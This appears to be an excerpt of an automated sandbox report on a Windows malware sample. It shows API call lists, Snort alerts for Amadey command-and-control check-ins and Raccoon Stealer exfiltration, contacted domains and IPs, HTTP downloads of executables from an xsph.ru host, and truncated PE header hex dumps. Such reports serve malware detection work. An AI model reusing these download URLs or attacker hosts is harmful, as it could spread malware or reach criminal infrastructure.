Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000017.00000003.393680200.0000000005716000.00000004.00000040.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000017.00000003.393669536.0000000005710000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000017.00000003.393680200.0000000005716000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000017.00000003.393659790.0000000005741000.00000004.00000001.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000017.00000003.393669536.0000000005710000.00000004.00000040.sdmp
Source:	Binary string: C:\wejunipud\recimoka.pdb source: 85ED.exe, 0000001A.00000000.394794436.0000000000401000.00000020.00020000.sdmp, 85ED.exe, 0000001A.00000002.436846782.0000000000832000.00000004.00000001.sdmp
Source:	Binary string: C:\wejunipud\recimoka.pdbh source: 85ED.exe, 0000001A.00000000.394794436.0000000000401000.00000020.00020000.sdmp, 85ED.exe, 0000001A.00000002.436846782.0000000000832000.00000004.00000001.sdmp
Source:	Binary string: shcore.pdb0 source: WerFault.exe, 00000017.00000003.393680200.0000000005716000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000017.00000003.393659790.0000000005741000.00000004.00000001.sdmp
Source:	Binary string: combase.pdb" source: WerFault.exe, 00000017.00000003.393680200.0000000005716000.00000004.00000040.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000017.00000003.393659790.0000000005741000.00000004.00000001.sdmp
Source:	Binary string: <wJC:\vop\voyik\vugibecibimin23_hafi\marayu\gahexa.pdb source: 7C86.exe, 00000011.00000000.378885268.0000000000413000.00000002.00020000.sdmp, 7C86.exe, 00000011.00000000.371173430.0000000000413000.00000002.00020000.sdmp, WerFault.exe, 00000017.00000002.419541174.0000000005630000.00000002.00020000.sdmp

Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 0_2_00419AE1 BuildCommDCBAndTimeoutsW,CreateMailslotA,GetNamedPipeHandleStateA,ReleaseSemaphore,FindAtomA,SystemTimeToTzSpecificLocalTime,SetComputerNameExA,SetConsoleCursorInfo,TlsGetValue,CopyFileA,GetLongPathNameA,SetVolumeMountPointW,SetProcessPriorityBoost,FreeEnvironmentStringsA,GetDriveTypeW,FindFirstFileExW,	0_2_00419AE1
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Code function: 21_2_004198D9 BuildCommDCBAndTimeoutsW,CreateMailslotA,GetNamedPipeHandleStateA,ReleaseSemaphore,FindAtomA,SystemTimeToTzSpecificLocalTime,SetComputerNameExA,SetConsoleCursorInfo,TlsGetValue,CopyFileA,GetLongPathNameA,SetVolumeMountPointW,SetProcessPriorityBoost,FreeEnvironmentStringsA,GetDriveTypeW,FindFirstFileExW,	21_2_004198D9
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_00405E40 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	25_2_00405E40
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_004096E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	25_2_004096E0
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	25_2_00401280
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	25_2_00401090
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_00409B40 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	25_2_00409B40
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_00409970 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	25_2_00409970
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_004087E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	25_2_004087E0
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_00588A30 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	25_2_00588A30
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_005814D0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	25_2_005814D0
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_005812E0 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	25_2_005812E0
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_00586090 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	25_2_00586090
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_00589930 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	25_2_00589930
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_00589BC0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	25_2_00589BC0
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_00589D90 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	25_2_00589D90

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2018581 ET TROJAN Single char EXE direct download likely trojan (multiple families) 192.168.2.3:49842 -> 141.8.194.74:80
Source: Traffic	Snort IDS: 1087 WEB-MISC whisker tab splice attack 192.168.2.3:49843 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.3:49844 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2018581 ET TROJAN Single char EXE direct download likely trojan (multiple families) 192.168.2.3:49852 -> 141.8.194.74:80
Source: Traffic	Snort IDS: 2033973 ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download) 192.168.2.3:49870 -> 185.163.204.24:80
Source: Traffic	Snort IDS: 2033973 ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download) 192.168.2.3:50001 -> 185.163.204.24:80
Source: Traffic	Snort IDS: 2033974 ET TROJAN Win32.Raccoon Stealer Data Exfil Attempt 192.168.2.3:50001 -> 185.163.204.24:80
Source: Traffic	Snort IDS: 2033974 ET TROJAN Win32.Raccoon Stealer Data Exfil Attempt 192.168.2.3:49870 -> 185.163.204.24:80

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: cdn.discordapp.com
Source: C:\Windows\explorer.exe	Network Connect: 188.166.28.199 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: unicupload.top
Source: C:\Windows\explorer.exe	Network Connect: 185.233.81.115 187	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 185.7.214.171 144	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: host-data-coin-11.com
Source: C:\Windows\explorer.exe	Domain query: privacy-tools-for-you-780.com
Source: C:\Windows\explorer.exe	Domain query: goo.su
Source: C:\Windows\explorer.exe	Domain query: transfer.sh
Source: C:\Windows\explorer.exe	Domain query: a0621298.xsph.ru
Source: C:\Windows\explorer.exe	Network Connect: 185.186.142.166 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: data-host-coin-8.com

Source: global traffic	HTTP traffic detected: GET /3.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /advert.msi HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /123.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /442.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /443.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /KX6KAZ9Tip.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /RMR.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /c_setup.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:50:52 GMTContent-Type: application/x-msdos-programContent-Length: 301056Connection: closeLast-Modified: Mon, 10 Jan 2022 12:06:49 GMTETag: "49800-5d5392be00934"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 32 74 07 b2 76 15 69 e1 76 15 69 e1 76 15 69 e1 68 47 fc e1 69 15 69 e1 68 47 ea e1 fc 15 69 e1 68 47 ed e1 5b 15 69 e1 51 d3 12 e1 71 15 69 e1 76 15 68 e1 f9 15 69 e1 68 47 e3 e1 77 15 69 e1 68 47 fd e1 77 15 69 e1 68 47 f8 e1 77 15 69 e1 52 69 63 68 76 15 69 e1 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 d4 e8 62 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 1e 01 00 00 f6 03 00 00 00 00 00 9f 2d 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 20 05 00 00 04 00 00 a7 ea 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b0 65 01 00 50 00 00 00 00 00 04 00 b0 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 32 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 59 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c5 1d 01 00 00 10 00 00 00 1e 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 44 3f 00 00 00 30 01 00 00 40 00 00 00 22 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 58 84 02 00 00 70 01 00 00 24 02 00 00 62 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 10 01 00 00 00 04 00 00 12 01 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:50:55 GMTContent-Type: application/x-msdos-programContent-Length: 319488Connection: closeLast-Modified: Fri, 14 Jan 2022 00:50:01 GMTETag: "4e000-5d5802ecf63f9"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a5 7a 3c cc e1 1b 52 9f e1 1b 52 9f e1 1b 52 9f ff 49 c7 9f fb 1b 52 9f ff 49 d1 9f 67 1b 52 9f c6 dd 29 9f e2 1b 52 9f e1 1b 53 9f 3e 1b 52 9f ff 49 d6 9f db 1b 52 9f ff 49 c6 9f e0 1b 52 9f ff 49 c3 9f e0 1b 52 9f 52 69 63 68 e1 1b 52 9f 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 44 96 cb 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 e6 03 00 00 a8 12 00 00 00 00 00 b0 b4 01 00 00 10 00 00 00 00 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 e0 16 00 00 04 00 00 56 5a 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e4 e1 03 00 28 00 00 00 00 00 16 00 b8 83 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 16 00 fc 1d 00 00 90 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 91 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 42 e5 03 00 00 10 00 00 00 e6 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 88 c9 11 00 00 00 04 00 00 18 00 00 00 ea 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 66 61 77 65 64 00 00 05 00 00 00 00 d0 15 00 00 02 00 00 00 02 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 69 77 6f 00 00 00 ea 00 00 00 00 e0 15 00 00 02 00 00 00 04 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6d 61 00 00 00 93 0d 00 00 00 f0 15 00 00 0e 00 00 00 06 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b8 83 00 00 00 00 16 00 00 84 00 00 00 14 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f6 46 00 00 00 90 16 00 00 48 00 00 00 98 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:50:59 GMTContent-Type: application/x-msdos-programContent-Length: 323072Connection: closeLast-Modified: Fri, 14 Jan 2022 00:50:01 GMTETag: "4ee00-5d5802ed49418"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a5 7a 3c cc e1 1b 52 9f e1 1b 52 9f e1 1b 52 9f ff 49 c7 9f fb 1b 52 9f ff 49 d1 9f 67 1b 52 9f c6 dd 29 9f e2 1b 52 9f e1 1b 53 9f 3e 1b 52 9f ff 49 d6 9f db 1b 52 9f ff 49 c6 9f e0 1b 52 9f ff 49 c3 9f e0 1b 52 9f 52 69 63 68 e1 1b 52 9f 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 39 8d 67 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 f4 03 00 00 a8 12 00 00 00 00 00 f0 c2 01 00 00 10 00 00 00 10 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 f0 16 00 00 04 00 00 38 da 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 24 f0 03 00 28 00 00 00 00 10 16 00 b8 83 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 16 00 f8 1d 00 00 90 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 91 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 82 f3 03 00 00 10 00 00 00 f4 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 88 c9 11 00 00 10 04 00 00 18 00 00 00 f8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 65 67 6f 67 00 00 05 00 00 00 00 e0 15 00 00 02 00 00 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6a 61 74 00 00 00 00 ea 00 00 00 00 f0 15 00 00 02 00 00 00 12 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 76 75 64 69 74 00 00 93 0d 00 00 00 00 16 00 00 0e 00 00 00 14 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b8 83 00 00 00 10 16 00 00 84 00 00 00 22 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 00 47 00 00 00 a0 16 00 00 48 00 00 00 a6 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:31 GMTContent-Type: application/x-msdos-programContent-Length: 905216Connection: closeLast-Modified: Thu, 13 Jan 2022 15:53:07 GMTETag: "dd000-5d578aeb4049d"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8b cf 9c fb cf ae f2 a8 cf ae f2 a8 cf ae f2 a8 d1 fc 67 a8 d3 ae f2 a8 d1 fc 71 a8 49 ae f2 a8 d1 fc 76 a8 e1 ae f2 a8 e8 68 89 a8 cc ae f2 a8 cf ae f3 a8 45 ae f2 a8 d1 fc 78 a8 ce ae f2 a8 d1 fc 66 a8 ce ae f2 a8 d1 fc 63 a8 ce ae f2 a8 52 69 63 68 cf ae f2 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 cf 5b b6 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 20 01 00 00 32 0d 00 00 00 00 00 00 30 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 50 7c 02 00 04 00 00 e4 71 0e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 66 01 00 28 00 00 00 00 70 0d 00 20 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 31 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 59 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 88 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 1e 01 00 00 10 00 00 00 20 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 22 3f 00 00 00 30 01 00 00 40 00 00 00 24 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 fe 0b 00 00 70 01 00 00 9e 0b 00 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 20 dd 6e 02 00 70 0d 00 00 ce 00 00 00 02 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:37 GMTContent-Type: application/x-msdos-programContent-Length: 373760Connection: closeLast-Modified: Wed, 12 Jan 2022 08:30:43 GMTETag: "5b400-5d55e62ba577e"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6c cb d2 55 28 aa bc 06 28 aa bc 06 28 aa bc 06 36 f8 29 06 31 aa bc 06 36 f8 3f 06 57 aa bc 06 0f 6c c7 06 2b aa bc 06 28 aa bd 06 f5 aa bc 06 36 f8 38 06 11 aa bc 06 36 f8 28 06 29 aa bc 06 36 f8 2d 06 29 aa bc 06 52 69 63 68 28 aa bc 06 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 61 a2 52 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 c2 04 00 00 76 12 00 00 00 00 00 40 a1 02 00 00 10 00 00 00 e0 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 80 17 00 00 04 00 00 e2 26 06 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 be 04 00 28 00 00 00 00 b0 16 00 10 7b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 17 00 14 1d 00 00 80 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 8f 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 38 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e8 c1 04 00 00 10 00 00 00 c2 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 bc 9f 11 00 00 e0 04 00 00 18 00 00 00 c6 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 67 69 7a 69 00 00 00 05 00 00 00 00 80 16 00 00 02 00 00 